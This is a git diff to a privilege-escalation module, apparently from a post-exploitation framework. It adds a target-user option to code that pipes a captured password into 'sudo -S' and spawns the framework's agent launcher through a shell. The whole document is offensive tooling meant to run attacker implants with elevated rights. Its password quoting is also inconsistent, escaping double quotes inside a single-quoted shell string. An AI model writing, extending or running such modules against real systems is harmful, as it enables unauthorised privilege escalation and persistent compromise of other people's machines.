diff --git a/lib/modules/privesc/multi/sudo_spawn.py b/lib/modules/privesc/multi/sudo_spawn.py index b5f5939..363702f 100644 --- a/lib/modules/privesc/multi/sudo_spawn.py +++ b/lib/modules/privesc/multi/sudo_spawn.py @@ -41,6 +41,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'User' : { + 'Description' : 'Spawn agent as user.', + 'Required' : False, + 'Value' : '' + }, 'Password' : { 'Description' : 'User password for sudo.', 'Required' : True, @@ -98,11 +103,16 @@ def generate(self): return "" else: + user = self.options['User']['Value'] password = self.options['Password']['Value'] + password = password.replace('"', '\\"') launcher = launcher.replace('"', '\\"') launcher = launcher.replace('echo', '') parts = launcher.split("|") launcher = "python -c %s" % (parts[0]) - script = 'import subprocess; subprocess.Popen("echo \\"%s\\" | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, launcher) + script = 'import subprocess; subprocess.Popen("echo \'%s\' | sudo -S -u %s %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, user, launcher) + if not user: + script = 'import subprocess; subprocess.Popen("echo \'%s\' | sudo -S %s", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' % (password, launcher) + return script